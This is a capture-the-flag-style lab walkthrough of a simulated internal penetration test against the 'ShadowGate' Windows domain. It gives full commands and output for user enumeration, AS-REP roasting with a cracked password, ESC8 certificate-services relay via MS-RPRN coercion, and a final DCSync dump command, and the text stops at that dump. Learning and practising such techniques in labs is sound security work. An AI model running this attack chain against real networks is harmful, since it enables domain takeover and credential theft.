HackSmarter: ShadowGate


ShadowGate recently completed a corporate acquisition that significantly expanded its internal network, user base, and application footprint. Several business-critical systems were migrated and consolidated under tight operational deadlines to minimize downtime and maintain service continuity.

While functional validation was completed, the organization deferred a comprehensive security assessment due to delivery pressure and staffing constraints. Leadership has since requested an independent penetration test to validate the security posture of the newly created environment and identify any material risk before the next audit cycle.

The assessment will evaluate whether a motivated attacker with standard network access could compromise sensitive systems, escalate privileges, or move laterally within the enterprise environment.

The Hack Smarter team has been authorized to perform a black box internal penetration test against the ShadowGate environment.


Network Enumeration

I quickly scanned the target IP to discover which ports were open, finding key services like DNS, HTTP, Kerberos, LDAP, and SMB.

sudo rustscan -a 10.1.146.91 -g --ulimit 5000
10.1.146.91 -> [53,80,88,139,135,389,445,464,593,636,5985,938
sudo nmap -p 53,80,88,139,135,389,445,464,593,636,5985,9389 -A -oN detailed_scan -oX detailed_scan.xml 10.1.146.91

I performed a detailed service scan on the open ports, confirming the server was a Windows Domain Controller named DC01.shadow.gate.

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-08 10:19:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Not valid before: 2026-01-15T01:10:24
|_Not valid after: 2027-01-15T01:10:24
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.shadow.gate
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.shadow.gate
| Not valid before: 2026-01-15T01:10:24
|_Not valid after: 2027-01-15T01:10:24
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing

User Enumeration

 I enumerated all domain users without needing a password, discovering a list of twelve accounts.

nxc smb 10.1.146.91 -u '' -p '' --users
SMB 10.1.146.91 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:False)
SMB 10.1.146.91 445 DC01 [+] shadow.gate\:
SMB 10.1.146.91 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.1.146.91 445 DC01 Administrator 2026-01-11 11:33:05 0 Built-in account for administering the computer/domain
SMB 10.1.146.91 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.1.146.91 445 DC01 krbtgt 2026-01-12 02:45:27 0 Key Distribution Center Service Account
SMB 10.1.146.91 445 DC01 ATHENA 2026-03-04 15:23:19 0
SMB 10.1.146.91 445 DC01 mbrownlee 2026-03-04 15:24:05 0
SMB 10.1.146.91 445 DC01 bbrown 2026-01-15 14:24:07 0
SMB 10.1.146.91 445 DC01 jtrueblood 2026-04-28 18:14:47 0
SMB 10.1.146.91 445 DC01 jsmith 2026-03-04 15:26:29 0
SMB 10.1.146.91 445 DC01 clocke 2026-03-04 15:24:32 0
SMB 10.1.146.91 445 DC01 tclarke 2026-03-04 15:25:33 0
SMB 10.1.146.91 445 DC01 jbradford 2026-03-04 15:24:59 0
SMB 10.1.146.91 445 DC01 amoss 2026-03-04 15:25:52 0
SMB 10.1.146.91 445 DC01 [*] Enumerated 12 local users: SHADOW

AS-Rep Roasting

I attempted an AS-REP roasting attack against the user list and successfully retrieved a crackable hash for jtrueblood because their account didn’t require preauthentication.

impacket-GetNPUsers -dc-ip 10.1.146.91 -usersfile users.txt -no-pass shadow.gate/
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User ATHENA doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mbrownlee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bbrown doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jtrueblood@SHADOW.GATE:4a9019ee4434898886665d40147f6ae6$035db4301b53f6168a0d52a4f47ed593764c6915ced2c85bd43c4a4939620f253f6db92cfc75d5b1c3de0ace695e0ee035e84b9cb5e1b151b9f9194615806a0e064fb0fd2fd9d0082988f48f80845c98e93185b893c5a742fa8b4899ee475dd6df5df51e85a5ea497053c2414bd1fd35cdadc48117152c34f486cd60057bb63eeb34e557bd821e27d19df1b38940e9ab95e244733c8dcb3411cc12209d68b1ef6ff90cb55619844e2bc225e6f4f77022efb5f5140535042c4bb919ba101d8bf5111d3cc9ca924667ea0682b7cb4c85c2724ae4385f437471159d77d9df4839f94cdfc902e60f23cbbc9f
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User clocke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tclarke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jbradford doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User amoss doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set

SMB Enumeration

Using the cracked password for jtrueblood, I listed available SMB shares and found the CertEnroll share was readable. There were some certificates in the folder which were benign.

nxc smb 10.1.146.91 -u jtrueblood -p 'blood_brothers' --shares
SMB 10.1.146.91 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:False)
SMB 10.1.146.91 445 DC01 [+] shadow.gate\jtrueblood:blood_brothers
SMB 10.1.146.91 445 DC01 [*] Enumerated shares
SMB 10.1.146.91 445 DC01 Share Permissions Remark
SMB 10.1.146.91 445 DC01 ----- ----------- ------
SMB 10.1.146.91 445 DC01 ADMIN$ Remote Admin
SMB 10.1.146.91 445 DC01 C$ Default share
SMB 10.1.146.91 445 DC01 CertEnroll READ Active Directory Certificate Services share
SMB 10.1.146.91 445 DC01 IPC$ READ Remote IPC
SMB 10.1.146.91 445 DC01 NETLOGON READ Logon server share
SMB 10.1.146.91 445 DC01 SYSVOL READ Logon server share

Bloodhound

Bloodhound has a clue that the user belongs to the ADCS readers group.


ADCS Abuse

I inspected the Active Directory Certificate Services configuration and identified that web enrollment was enabled and set to auto-issue requests, a vulnerability known as ESC8.

certipy find -u 'jtrueblood@shadow.gate' -p 'blood_brothers' -dc-ip 10.1.146.91 -stdout -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 0 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 0 enabled certificate templates
[*] Trying to get CA configuration for 'shadow-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'shadow-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'shadow-DC01-CA' via RRP
[*] Got CA configuration for 'shadow-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : shadow-DC01-CA
DNS Name : DC01.shadow.gate
Certificate Subject : CN=shadow-DC01-CA, DC=shadow, DC=gate
Certificate Serial Number : 749A4BA2BEA3CFBC41ECDFAEE502E46C
Certificate Validity Start : 2026-01-12 02:50:31+00:00
Certificate Validity End : 2046-01-12 03:00:31+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : SHADOW.GATE\Administrators
Access Rights
ManageCertificates : SHADOW.GATE\Administrators
SHADOW.GATE\Domain Admins
SHADOW.GATE\Enterprise Admins
ManageCa : SHADOW.GATE\Administrators
SHADOW.GATE\Domain Admins
SHADOW.GATE\Enterprise Admins
Enroll : SHADOW.GATE\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
Certificate Templates : [!] Could not find any certificate templates
certipy relay -target 10.1.146.91 -template DomainController
coercer coerce -l 10.200.54.119 -t 10.1.146.91 -d shadow.gate -u jtrueblood -p blood_brothers --always-continue

 I forced the Domain Controller to authenticate back to my machine by exploiting the MS-RPRN protocol.

    ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.4.3
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting coerce mode
[info] Scanning target 10.1.146.91
[*] DCERPC portmapper discovered ports: 49664,49665,49666,49667,49669,59365,59369,59402,59409,59383,59359
[+] DCERPC port '59359' is accessible!
   [+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
      [!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotification(pszLocalMachine='\\10.200.54.119\x00') 
      [!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotificationEx(pszLocalMachine='\\10.200.54.119\x00')

 I relayed the Domain Controller’s captured authentication to the certificate web enrollment service, which issued me a valid certificate for the Domain Controller itself.

Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting http://10.1.146.91/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[]
\
[*] Requesting certificate for '\\' based on the template 'DomainController'
[]
[*] Got certificate with DNS Host Name 'DC01.shadow.gate'
[*] Certificate object SID is 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Saved certificate and private key to 'dc01.pfx'
[*] Exiting...

I used the stolen certificate to authenticate as the Domain Controller’s machine account and extracted its NT hash.

certipy auth -pfx dc01.pfx -dc-ip 10.1.146.91
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: dc01$@shadow.gate
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@shadow.gate': aad3b435b51404eeaad3b435b51404ee:5786

DC SYNC

With the machine account hash, I performed a DCSync attack and dumped all domain password hashes, achieving full domain compromise.

impacket-secretsdump 'dc01$'@10.1.146.91 -hashes :57867e655d